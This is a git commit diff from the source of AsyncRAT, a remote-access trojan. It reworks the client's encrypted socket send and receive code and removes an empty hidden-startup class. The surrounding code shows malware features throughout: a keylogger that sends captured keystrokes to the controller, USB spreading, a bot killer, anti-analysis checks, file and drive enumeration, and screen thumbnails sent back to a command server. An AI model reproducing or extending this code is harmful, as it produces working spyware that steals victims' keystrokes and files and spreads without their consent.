Update
This commit is contained in:
parent
b4769bbb26
commit
7684520c67
@ -127,19 +127,19 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
|
||||||
public void BeginSend(object Msgs)
|
public void BeginSend(object msg)
|
||||||
{
|
{
|
||||||
lock (SendSync)
|
lock (SendSync)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (!ClientSocket.Connected)
|
if (!ClientSocket.Connected || (byte[])msg == null)
|
||||||
{
|
{
|
||||||
Disconnected();
|
Disconnected();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
byte[] buffer = Settings.AES.Encrypt((byte[])Msgs);
|
byte[] buffer = Settings.AES.Encrypt((byte[])msg);
|
||||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||||
|
|
||||||
ClientSocket.Poll(-1, SelectMode.SelectWrite);
|
ClientSocket.Poll(-1, SelectMode.SelectWrite);
|
||||||
|
@ -20,8 +20,6 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
{
|
{
|
||||||
SendBufferSize = 50 * 1024,
|
SendBufferSize = 50 * 1024,
|
||||||
ReceiveBufferSize = 50 * 1024,
|
ReceiveBufferSize = 50 * 1024,
|
||||||
ReceiveTimeout = -1,
|
|
||||||
SendTimeout = -1,
|
|
||||||
};
|
};
|
||||||
Server.Bind(ipEndPoint);
|
Server.Bind(ipEndPoint);
|
||||||
Server.Listen(30);
|
Server.Listen(30);
|
||||||
|
@ -88,7 +88,6 @@
|
|||||||
<Compile Include="Handle Packet\HandleLimeUSB.cs" />
|
<Compile Include="Handle Packet\HandleLimeUSB.cs" />
|
||||||
<Compile Include="Helper\Anti_Analysis.cs" />
|
<Compile Include="Helper\Anti_Analysis.cs" />
|
||||||
<Compile Include="Helper\Methods.cs" />
|
<Compile Include="Helper\Methods.cs" />
|
||||||
<Compile Include="Install\HiddenStartup.cs" />
|
|
||||||
<Compile Include="Install\NormalStartup.cs" />
|
<Compile Include="Install\NormalStartup.cs" />
|
||||||
<Compile Include="MessagePack\BytesTools.cs" />
|
<Compile Include="MessagePack\BytesTools.cs" />
|
||||||
<Compile Include="MessagePack\MsgPack.cs" />
|
<Compile Include="MessagePack\MsgPack.cs" />
|
||||||
|
@ -43,7 +43,7 @@ namespace Client.Handle_Packet
|
|||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "BotKiller";
|
msgpack.ForcePathObject("Packet").AsString = "BotKiller";
|
||||||
msgpack.ForcePathObject("Count").AsString = count.ToString();
|
msgpack.ForcePathObject("Count").AsString = count.ToString();
|
||||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -29,7 +29,7 @@ namespace Client.Handle_Packet
|
|||||||
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
|
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
|
||||||
}
|
}
|
||||||
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
|
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
|
||||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -59,7 +59,7 @@ namespace Client.Handle_Packet
|
|||||||
}
|
}
|
||||||
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
|
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
|
||||||
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
|
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
|
||||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
@ -95,8 +95,6 @@ namespace Client.Handle_Packet
|
|||||||
{
|
{
|
||||||
ReceiveBufferSize = 50 * 1024,
|
ReceiveBufferSize = 50 * 1024,
|
||||||
SendBufferSize = 50 * 1024,
|
SendBufferSize = 50 * 1024,
|
||||||
ReceiveTimeout = -1,
|
|
||||||
SendTimeout = -1,
|
|
||||||
};
|
};
|
||||||
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
|
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
|
||||||
|
|
||||||
|
@ -25,7 +25,7 @@ namespace Client.Handle_Packet
|
|||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
|
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
|
||||||
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
|
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
|
||||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
bmp.Dispose();
|
bmp.Dispose();
|
||||||
}
|
}
|
||||||
|
@ -128,7 +128,7 @@ namespace Client.Handle_Packet
|
|||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||||
msgpack.ForcePathObject("log").AsString = sb.ToString();
|
msgpack.ForcePathObject("log").AsString = sb.ToString();
|
||||||
Sockets.ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
Sockets.ClientSocket.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
return CallNextHookEx(_hookID, nCode, wParam, lParam);
|
return CallNextHookEx(_hookID, nCode, wParam, lParam);
|
||||||
}
|
}
|
||||||
|
@ -67,7 +67,7 @@ namespace Client.Handle_Packet
|
|||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
|
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
|
||||||
msgpack.ForcePathObject("Count").AsString = count.ToString();
|
msgpack.ForcePathObject("Count").AsString = count.ToString();
|
||||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -61,7 +61,7 @@ namespace Client.Handle_Packet
|
|||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||||
msgpack.ForcePathObject("Message").AsString = sb.ToString();
|
msgpack.ForcePathObject("Message").AsString = sb.ToString();
|
||||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -225,7 +225,7 @@ namespace Client.Handle_Packet
|
|||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "Received";
|
msgpack.ForcePathObject("Packet").AsString = "Received";
|
||||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,11 +0,0 @@
|
|||||||
using System;
|
|
||||||
using System.Collections.Generic;
|
|
||||||
using System.Linq;
|
|
||||||
using System.Text;
|
|
||||||
|
|
||||||
namespace Client.Install
|
|
||||||
{
|
|
||||||
class HiddenStartup
|
|
||||||
{
|
|
||||||
}
|
|
||||||
}
|
|
@ -16,7 +16,6 @@ namespace Client
|
|||||||
public static readonly string MTX = "%MTX%";
|
public static readonly string MTX = "%MTX%";
|
||||||
#if DEBUG
|
#if DEBUG
|
||||||
public static readonly string Anti = "false";
|
public static readonly string Anti = "false";
|
||||||
|
|
||||||
#else
|
#else
|
||||||
public static readonly string Anti = "%Anti%";
|
public static readonly string Anti = "%Anti%";
|
||||||
#endif
|
#endif
|
||||||
|
@ -22,12 +22,10 @@ namespace Client.Sockets
|
|||||||
public static Socket Client { get; set; }
|
public static Socket Client { get; set; }
|
||||||
private static byte[] Buffer { get; set; }
|
private static byte[] Buffer { get; set; }
|
||||||
private static long Buffersize { get; set; }
|
private static long Buffersize { get; set; }
|
||||||
private static bool BufferRecevied { get; set; }
|
|
||||||
private static Timer Tick { get; set; }
|
private static Timer Tick { get; set; }
|
||||||
private static MemoryStream MS { get; set; }
|
private static MemoryStream MS { get; set; }
|
||||||
public static bool IsConnected { get; set; }
|
public static bool IsConnected { get; set; }
|
||||||
private static object SendSync { get; } = new object();
|
private static object SendSync { get; } = new object();
|
||||||
private static object EndSendSync { get; } = new object();
|
|
||||||
private static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total");
|
private static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total");
|
||||||
private static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use");
|
private static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use");
|
||||||
|
|
||||||
@ -39,17 +37,14 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
ReceiveBufferSize = 50 * 1024,
|
ReceiveBufferSize = 50 * 1024,
|
||||||
SendBufferSize = 50 * 1024,
|
SendBufferSize = 50 * 1024,
|
||||||
ReceiveTimeout = -1,
|
|
||||||
SendTimeout = -1,
|
|
||||||
};
|
};
|
||||||
Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]),
|
Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]),
|
||||||
Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
|
Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
|
||||||
Debug.WriteLine("Connected!");
|
Debug.WriteLine("Connected!");
|
||||||
IsConnected = true;
|
IsConnected = true;
|
||||||
Buffer = new byte[4];
|
Buffer = new byte[4];
|
||||||
BufferRecevied = false;
|
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
BeginSend(SendInfo());
|
Send(SendInfo());
|
||||||
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
||||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||||
}
|
}
|
||||||
@ -102,9 +97,7 @@ namespace Client.Sockets
|
|||||||
}
|
}
|
||||||
|
|
||||||
int recevied = Client.EndReceive(ar);
|
int recevied = Client.EndReceive(ar);
|
||||||
if (recevied > 0)
|
if (recevied == 4)
|
||||||
{
|
|
||||||
if (!BufferRecevied)
|
|
||||||
{
|
{
|
||||||
MS.Write(Buffer, 0, recevied);
|
MS.Write(Buffer, 0, recevied);
|
||||||
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
|
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
|
||||||
@ -114,22 +107,24 @@ namespace Client.Sockets
|
|||||||
if (Buffersize > 0)
|
if (Buffersize > 0)
|
||||||
{
|
{
|
||||||
Buffer = new byte[Buffersize];
|
Buffer = new byte[Buffersize];
|
||||||
BufferRecevied = true;
|
while (MS.Length != Buffersize)
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
{
|
||||||
MS.Write(Buffer, 0, recevied);
|
int rc = Client.Receive(Buffer, 0, Buffer.Length, SocketFlags.None);
|
||||||
|
if (rc == 0)
|
||||||
|
{
|
||||||
|
IsConnected = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
MS.Write(Buffer, 0, rc);
|
||||||
|
Buffer = new byte[Buffersize - MS.Length];
|
||||||
|
}
|
||||||
if (MS.Length == Buffersize)
|
if (MS.Length == Buffersize)
|
||||||
{
|
{
|
||||||
ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
|
ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
|
||||||
Buffer = new byte[4];
|
Buffer = new byte[4];
|
||||||
MS.Dispose();
|
MS.Dispose();
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
BufferRecevied = false;
|
|
||||||
}
|
}
|
||||||
else
|
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
}
|
||||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||||
}
|
}
|
||||||
@ -146,13 +141,13 @@ namespace Client.Sockets
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void BeginSend(byte[] msg)
|
public static void Send(byte[] msg)
|
||||||
{
|
{
|
||||||
lock (SendSync)
|
lock (SendSync)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (!Client.Connected || !IsConnected)
|
if (!Client.Connected || !IsConnected || msg == null)
|
||||||
{
|
{
|
||||||
IsConnected = false;
|
IsConnected = false;
|
||||||
return;
|
return;
|
||||||
@ -161,57 +156,6 @@ namespace Client.Sockets
|
|||||||
byte[] buffer = Settings.aes256.Encrypt(msg);
|
byte[] buffer = Settings.aes256.Encrypt(msg);
|
||||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||||
|
|
||||||
Client.Poll(-1, SelectMode.SelectWrite);
|
|
||||||
Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
|
|
||||||
Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{
|
|
||||||
IsConnected = false;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void EndSend(IAsyncResult ar)
|
|
||||||
{
|
|
||||||
lock (EndSendSync)
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
if (!Client.Connected || !IsConnected)
|
|
||||||
{
|
|
||||||
IsConnected = false;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
int sent = 0;
|
|
||||||
sent = Client.EndSend(ar);
|
|
||||||
Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{
|
|
||||||
IsConnected = false;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void CheckServer(object obj)
|
|
||||||
{
|
|
||||||
lock (SendSync)
|
|
||||||
{
|
|
||||||
lock (EndSendSync)
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
MsgPack msgpack = new MsgPack();
|
|
||||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
|
||||||
msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
|
|
||||||
|
|
||||||
byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes());
|
|
||||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
|
||||||
|
|
||||||
Client.Poll(-1, SelectMode.SelectWrite);
|
Client.Poll(-1, SelectMode.SelectWrite);
|
||||||
Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None);
|
Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None);
|
||||||
Client.Send(buffer, 0, buffer.Length, SocketFlags.None);
|
Client.Send(buffer, 0, buffer.Length, SocketFlags.None);
|
||||||
@ -223,6 +167,14 @@ namespace Client.Sockets
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
public static void CheckServer(object obj)
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||||
|
msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
|
||||||
|
Send(msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
Loading…
x
Reference in New Issue
Block a user